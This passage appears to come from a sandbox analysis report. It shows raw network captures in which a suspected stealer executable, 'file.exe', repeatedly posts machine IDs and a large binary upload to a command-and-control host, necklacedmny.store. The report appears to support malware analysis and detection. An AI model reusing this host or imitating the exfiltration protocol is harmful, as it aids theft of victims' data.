UpSQNr7M6rTUPSVfV2omY6Q+TfkR919Pmc7A0cismPBUxsUl8g9v8JVsq5hXriUgpmzK6tUlH06IGBRAWP7Z9YSSlizyia00xOp6nIeuZ7DxPksoFGZfT4hZkVMLLRhzl0WE5PLNbfGXrK2YVWxnoqQtGjkHppicn8jckwjtWfYEg1Wg40ztoML9qVnUb2dgJ+4IrhMkXM6Im9ITyupZsFbERuTyjy2yVCx5CUeuYrDxPkLvU6QOi1pegNGIfs4
2024-10-29 19:43:52 UTC	1369	IN	Data Raw: 32 63 77 6a 75 7a 79 6c 65 2b 70 32 74 61 75 70 57 47 6e 37 55 6a 72 56 32 53 66 6a 73 70 61 6b 77 42 59 2f 74 6e 31 68 4a 4b 57 4c 76 57 4e 37 62 4f 45 36 6e 71 63 68 36 35 6e 73 50 45 2b 53 53 6b 57 35 31 77 4e 43 4e 6d 52 55 73 6f 75 32 76 4e 58 52 59 65 6e 73 49 30 73 63 70 53 73 4b 46 68 56 62 69 66 67 4a 71 2f 61 4f 51 65 6d 6d 4a 79 66 79 4e 6a 57 69 43 33 5a 34 35 4e 58 41 48 61 79 6a 6a 36 6d 78 4f 39 71 47 39 5a 76 70 2b 41 6c 4c 77 73 6f 46 75 64 63 69 41 76 59 30 52 54 50 37 74 70 79 31 34 52 47 4a 37 4c 50 62 7a 41 56 2f 62 71 4b 31 6d 6d 30 74 76 63 6c 43 53 74 64 35 70 68 63 6a 67 74 57 67 45 71 74 79 43 57 45 68 4d 54 6b 4d 49 35 75 63 56 51 76 61 46 68 58 37 6d 61 6a 6f 36 36 4a 36 56 61 6e 58 55 30 49 57 4a 4d 52 79 71 79 59 63 5a 56 55 Data Ascii: 2cwjuzyle+p2taupWGn7UjrV2SfjspakwBY/tn1hJKWLvWN7bOE6nqch65nsPE+SSkW51wNCNmRUsou2vNXRYensI0scpSsKFhVbifgJq/aOQemmJyfyNjWiC3Z45NXAHayjj6mxO9qG9Zvp+AlLwsoFudciAvY0RTP7tpy14RGJ7LPbzAV/bqK1mm0tvclCStd5phcjgtWgEqtyCWEhMTkMI5ucVQvaFhX7majo66J6VanXU0IWJMRyqyYcZVU
2024-10-29 19:43:52 UTC	370	IN	Data Raw: 54 72 4d 6c 55 70 71 4e 38 55 66 37 63 77 35 50 35 63 4a 4d 65 6c 48 30 70 4e 6e 56 4f 55 53 72 37 58 34 41 53 43 6c 6a 43 6a 51 47 35 7a 56 32 78 73 6e 6f 54 6d 59 53 4a 6d 36 6b 76 76 56 48 64 4e 48 49 68 49 78 73 53 59 2f 74 6b 33 78 4a 4b 53 4d 69 57 59 65 6d 55 41 2b 53 37 4a 55 66 2b 68 4d 50 45 36 32 62 71 54 4e 30 69 63 6d 42 67 55 56 4d 72 75 48 62 4e 46 53 77 6d 76 64 63 35 76 4e 52 43 69 4a 70 73 52 4c 4f 55 6c 49 33 31 50 61 6c 51 6b 33 30 6b 5a 79 30 44 54 6d 33 6a 57 59 34 61 55 69 66 55 6a 53 7a 36 6d 78 4f 44 70 32 56 51 75 59 53 53 30 5a 34 79 70 31 69 4b 61 33 4a 70 49 30 55 42 64 65 73 75 6a 6c 59 44 57 4d 4b 64 5a 75 47 57 41 4f 48 30 4f 55 48 77 69 38 4f 4b 2b 58 44 34 45 4e 31 6f 63 6e 38 6a 42 45 49 2f 71 57 62 4e 52 42 46 66 70 50 Data Ascii: TrMlUpqN8Uf7cw5P5cJMelH0pNnVOUSr7X4ASCljCjQG5zV2xsnoTmYSJm6kvvVHdNHIhIxsSY/tk3xJKSMiWYemUA+S7JUf+hMPE62bqTN0icmBgUVMruHbNFSwmvdc5vNRCiJpsRLOUlI31PalQk30kZy0DTm3jWY4aUifUjSz6mxODp2VQuYSS0Z4yp1iKa3JpI0UBdesujlYDWMKdZuGWAOH0OUHwi8OK+XD4EN1ocn8jBEI/qWbNRBFfpP
2024-10-29 19:43:52 UTC	1369	IN	Data Raw: 32 36 65 31 0d 0a 78 55 55 63 75 72 57 4f 4a 62 43 77 62 6a 4d 41 37 73 63 4a 74 69 49 70 6d 58 37 32 63 77 61 32 76 4a 62 70 64 6d 48 30 4d 47 57 31 45 56 53 71 31 5a 73 34 53 58 46 69 56 6a 57 79 44 67 78 76 32 6d 79 55 65 70 74 4c 62 33 49 77 72 70 46 43 61 62 43 4e 71 51 46 56 4d 49 72 42 68 6a 68 78 53 48 74 71 56 5a 50 53 44 56 36 66 6b 4d 77 37 73 79 64 62 50 37 6e 6a 34 51 64 4e 6a 63 6a 45 6a 47 78 4e 6a 2b 33 4b 4f 43 6c 4a 66 6c 4d 41 31 75 63 31 51 70 4c 5a 74 58 61 69 52 78 4b 4b 48 43 61 64 56 6b 58 63 39 4c 46 31 39 59 43 43 77 62 4d 4e 64 47 53 61 6b 32 44 65 30 7a 56 53 67 74 53 73 51 2f 70 33 44 78 49 42 6f 34 68 36 69 4e 48 49 2f 49 78 73 42 47 4c 68 75 77 46 55 45 43 64 66 73 4f 62 48 50 58 72 6d 76 4b 78 44 2b 6c 4d 50 45 36 57 62 71 Data Ascii: 26e1xUUcurWOJbCwbjMA7scJtiIpmX72cwa2vJbpdmH0MGW1EVSq1Zs4SXFiVjWyDgxv2myUeptLb3IwrpFCabCNqQFVMIrBhjhxSHtqVZPSDV6fkMw7sydbP7nj4QdNjcjEjGxNj+3KOClJflMA1uc1QpLZtXaiRxKKHCadVkXc9LF19YCCwbMNdGSak2De0zVSgtSsQ/p3DxIBo4h6iNHI/IxsBGLhuwFUECdfsObHPXrmvKxD+lMPE6Wbq
2024-10-29 19:43:52 UTC	1369	IN	Data Raw: 55 6b 63 30 56 43 45 34 56 4c 77 6c 51 56 41 70 33 4c 45 70 71 44 48 66 61 72 4b 77 61 48 30 73 76 63 68 6d 62 71 52 74 30 69 63 68 4a 67 54 55 38 71 72 58 47 44 64 77 55 62 69 73 73 33 2b 6f 30 54 73 4f 51 7a 44 76 44 53 68 34 33 35 63 50 6f 4d 78 69 39 68 63 44 4d 52 58 6d 4f 69 49 4e 67 53 53 6b 72 55 6a 53 62 36 6d 78 50 78 70 33 6c 4d 75 4a 47 56 6e 2f 34 57 6c 48 69 65 61 7a 67 47 62 6c 4e 47 45 34 56 31 7a 56 77 63 48 34 7a 63 64 50 53 44 58 50 62 38 55 68 37 32 33 6f 57 66 72 32 69 56 45 4e 31 69 63 6e 38 6a 64 6b 49 6a 74 57 66 59 51 31 38 2b 6d 64 77 2b 6d 38 35 44 73 65 51 6c 48 72 6a 53 32 38 2f 33 61 4b 35 50 33 53 4a 69 64 54 67 57 45 6e 72 72 4d 74 45 63 43 31 69 4d 6a 57 7a 6f 6a 52 4f 6b 35 44 4d 65 2b 5a 47 52 6a 72 38 72 76 46 33 61 52 Data Ascii: Ukc0VCE4VLwlQVAp3LEpqDHfarKwaH0svchmbqRt0ichJgTU8qrXGDdwUbiss3+o0TsOQzDvDSh435cPoMxi9hcDMRXmOiINgSSkrUjSb6mxPxp3lMuJGVn/4WlHieazgGblNGE4V1zVwcH4zcdPSDXPb8Uh723oWfr2iVEN1icn8jdkIjtWfYQ18+mdw+m85DseQlHrjS28/3aK5P3SJidTgWEnrrMtEcC1iMjWzojROk5DMe+ZGRjr8rvF3aR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49713	188.114.96.3	443	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:43:53 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-29 19:43:53 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 36 35 36 43 31 34 33 41 34 44 34 41 45 36 43 46 43 45 43 41 31 31 38 39 43 41 44 38 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"56656C143A4D4AE6CFCECA1189CAD8A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:44:27 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:44:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7m5hdfrq73agc9kpk73f1l6qqi; expires=Sat, 22 Feb 2025 13:30:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F2OAly1wpQUF5RoTYGGnd7bBqUHyL0voP5Nr7Bu3AfUGJ7x46NaND79dGkvWMzOBxyEVL4RPjCIKuNWxYbsL8%2F1QfBO%2F70rd3KyC7kX5Sf%2FeT1Dfwso8J0GESplwKnu4gkOB2Lo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da5a8391bd83476-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1143&sent=7&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=2487972&cwnd=251&unsent_bytes=0&cid=65ba5eb654d0d81e&ts=34249&x=0"
2024-10-29 19:44:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:44:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	57109	188.114.96.3	443	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:44:29 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-29 19:44:29 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 36 35 36 43 31 34 33 41 34 44 34 41 45 36 43 46 43 45 43 41 31 31 38 39 43 41 44 38 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"56656C143A4D4AE6CFCECA1189CAD8A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:44:29 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:44:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5v5db4h1nph5gd52pjldm8cpta; expires=Sat, 22 Feb 2025 13:31:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pw9822zg1AxPK1lwga7Dvp6Y5NFcNM5fu81Z8pLcqBqkslXNOvishvTIM5%2Bhff0U3vVz3Zmv74EFEpiTG9pDmV9meBAqmWMP7%2BcC2CFUIKheJkdr6Z%2F2VEVYSluhHccWwsEhjNA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da5a915cafce956-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1315&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16052&delivery_rate=2086455&cwnd=242&unsent_bytes=0&cid=40c55956ab013b49&ts=583&x=0"
2024-10-29 19:44:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:44:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	57119	188.114.96.3	443	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:44:30 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-29 19:44:30 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 36 35 36 43 31 34 33 41 34 44 34 41 45 36 43 46 43 45 43 41 31 31 38 39 43 41 44 38 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"56656C143A4D4AE6CFCECA1189CAD8A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:44:30 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-29 19:44:31 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:44:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c3qn3ju1vkssl0ifp0hcqdud95; expires=Sat, 22 Feb 2025 13:31:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2nst3D996eL8nog4RM8doMYDQ6Q2pE6rPsjv%2FXXjjHzzoel2cUh9%2BMuKQkn1Rl%2F5jakbbQyaVfB3Qrxz7CtvpSVIFqxhC1OS3wtDwvbWr4T4%2Fon7ZVu5IYUj761MDkaune%2FF93c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da5a920b9810bef-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=1743527&cwnd=251&unsent_bytes=0&cid=d8f9e76f5fd7e14d&ts=983&x=0"
2024-10-29 19:44:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:44:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	57134	188.114.96.3	443	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:44:33 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1224 Host: necklacedmny.store
2024-10-29 19:44:33 UTC	1224	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 36 35 36 43 31 34 33 41 34 44 34 41 45 36 43 46 43 45 43 41 31 31 38 39 43 41 44 38 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"56656C143A4D4AE6CFCECA1189CAD8A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	62420	188.114.96.3	443	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:44:47 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571752 Host: necklacedmny.store
2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 36 35 36 43 31 34 33 41 34 44 34 41 45 36 43 46 43 45 43 41 31 31 38 39 43 41 44 38 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"56656C143A4D4AE6CFCECA1189CAD8A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: 7a 13 34 d6 37 81 59 40 f1 93 40 71 b7 51 42 8c 62 e0 4d 4b 23 87 4e c4 7e ec 93 ed 13 02 67 93 d2 9d 3c 70 a0 59 69 23 c8 14 1d 2b 91 e5 54 0e 29 aa c3 54 09 7e a9 36 32 f9 3e a6 86 c7 7f 42 48 69 b7 ac 8f 33 17 8a 19 85 12 5e 2c 4f a9 f3 a6 f7 df a3 56 5b 28 68 0d c3 f2 bd a5 c0 c6 9d f7 b3 b4 0c 53 7c 0a 33 4f 49 db 6c 0e 74 53 62 35 38 8b 72 49 ab 4a b5 a3 6f 32 7c 39 f9 42 64 12 0d f1 27 82 1b b2 ab df 6e c2 86 12 85 4f c3 8d b0 b0 ff 2f 88 bd f9 51 54 f9 b3 5a cd 80 48 1e 48 5c 1a 63 4e 7e be c4 f7 55 29 a9 0b cb 6d f8 a0 7e 01 09 68 a8 14 2f f4 2b 09 2d a8 65 a0 74 72 b2 4b fc 5e 5f 08 43 f6 b7 ed 62 36 4d 2b b4 b7 1e f0 a7 f5 31 73 6a dc 94 42 ce b2 22 5b 6c 63 c9 a4 fd 81 3a ef f3 b4 e6 98 b2 3b f8 0a 59 c5 90 11 4b 0e 4e 6c d9 37 42 97 86 c8 8e Data Ascii: z47Y@@qQBbMK#N~g<pYi#+T)T~62>BHi3^,OV[(hS\|3OIltSb58rIJo2\|9Bd'nO/QTZHH\cN~U)m~h/+-etrK^_Cb6M+1sjB"[lc:;YKNl7B
2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: 9f 94 76 3c 69 b7 66 3a f5 ac 9d df 10 fa 77 e6 33 54 ad 2c e9 d4 a2 a5 36 2f c5 53 7b 47 20 17 9a fc 52 ed ee ce 7a 5d 6c ad 14 51 39 fa 67 fb ff 0b 0f 9b cf 14 22 55 eb 2e ef ea ac a6 3b b7 88 69 fe d9 54 76 e9 f4 94 ca 11 63 02 61 87 d7 7b ad 04 d2 4a da d0 dd c0 db fd f4 38 05 c1 e4 bb 90 91 06 4a b5 50 ad d3 ed 61 af d9 a1 e8 80 a2 e0 a8 98 20 67 04 b2 9a 84 69 46 58 36 85 97 12 30 2c c9 9e 47 6d ab 6a c9 77 eb 4c 06 91 fe 4d b8 da 68 97 f9 3c 9e fb b8 42 14 42 56 e9 76 cf 33 29 02 84 31 65 47 7a 54 68 dc fa 9b cf de 5b c2 ca d4 d7 3e 87 fa a0 b7 8f 56 ef 50 2c dd 4c da a6 12 05 df 98 54 19 8e b0 cf 0d 63 99 d8 ad df a3 5b ff 68 4a 70 da 81 da aa 6e bb a5 99 3f 3e a9 37 e4 fc 7e 6f a0 cc e8 9a 47 e0 ec db f7 95 7f 1e 94 b0 39 d3 cb 9f 57 4e d6 19 d4 Data Ascii: v<if:w3T,6/S{G Rz]lQ9g"U.;iTvca{J8JPa giFX60,GmjwLMh<BBVv3)1eGzTh[>VP,LTc[hJpn?>7~oG9WN
2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: 90 94 15 f0 bb 89 ce 57 9d fa 6d 72 78 39 a7 ed bc e6 55 5c a2 f8 c1 e7 93 f4 d4 a5 c2 3f 6b 50 46 57 b1 07 8e f2 f2 90 ce b1 b4 e6 65 d2 e2 f9 1b 13 3b e3 8f e7 ea 35 9e e7 06 9d b4 c8 11 fe 87 4a 5c 57 1a 6d c6 04 74 bc 34 99 90 0d 77 a3 19 14 8e 8e d5 c0 ec 57 18 8f 5e 5d 0a 70 ac 6f 52 33 0c 98 e6 e6 0e 39 3b ed fe 48 98 95 bd aa 3c ca 2b 63 2a 36 93 a8 1a 2b 5e 1c 96 ea 62 a7 07 b7 d9 4d b9 77 c4 a1 54 00 bc 33 e5 69 aa 7d de 17 d2 11 bc b9 4e 63 8b 77 b0 cc 17 13 c6 3c 77 56 3e fc 74 2d c2 8b 4b 0d f2 9c 54 65 80 d3 5e b5 7d 4b 6f d7 b0 5d a1 a1 f1 bc 60 47 9e fc 26 eb 95 d8 07 c4 dd 82 33 52 e4 43 47 50 d4 e3 52 50 f8 c6 fa 40 73 57 fc eb 83 64 9a e4 66 1c 12 bc eb 08 21 88 01 e6 19 e5 7b 69 5a 2c 7d 5e 5f e5 b3 1f f4 d1 91 1d 27 69 58 f0 59 f0 f5 Data Ascii: Wmrx9U\?kPFWe;5J\Wmt4wW^]poR39;H<+c*6+^bMwT3i}Ncw<wV>t-KTe^}Ko]`G&3RCGPRP@sWdf!{iZ,}^_'iXY
2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: e1 4a 28 60 1f 32 a3 34 fe 20 79 c6 ed 98 8d 22 05 36 ef d0 9d 27 42 fc 9e 28 08 c0 ee 9b b5 11 c5 b5 3d 4d 22 3c 72 14 ff d6 25 e1 17 65 46 e4 c0 6d c8 09 0f 0e 8c 08 fc e4 16 fa 70 dd 5b 3b 9a 38 93 77 f9 4e 36 a8 09 1c 59 18 fa 94 11 04 49 10 26 74 2b aa ce c6 5b 46 76 22 0d 27 b1 2a a8 f0 fb 84 c9 e7 5c 9a d0 0d 6c 77 28 1f 7b 6c e2 8f 34 d4 39 ac 77 71 1d e1 bd 27 bd 2e fa 7f 6f fc 75 48 cd c2 a0 49 7f aa dd 0b a4 9f bf 21 66 8b 48 df d8 50 96 55 1e 9d 82 3d 93 f3 8b 75 c7 54 71 7c c2 c7 1f be 13 3e b1 5d 4b 36 a6 fb 9d a8 d4 98 43 98 28 9f 50 09 fa 69 2c 09 24 8f 8b 26 fc ff 83 f5 7f 8b 19 bd 0d bc 2b 46 ba 6d 4d 22 ff 48 68 a9 29 3f 82 4c d6 62 e7 a5 c1 af 0d 74 7f a1 47 42 96 0f 36 f2 f0 60 7d c5 c9 09 b9 40 c6 ce ec 1f 89 00 80 8f a3 02 4e e5 fe Data Ascii: J(`24 y"6'B(=M"<r%eFmp[;8wN6YI&t+[Fv"'*\lw({l49wq'.ouHI!fHPU=uTq\|>]K6C(Pi,$&+FmM"Hh)?LbtGB6`}@N
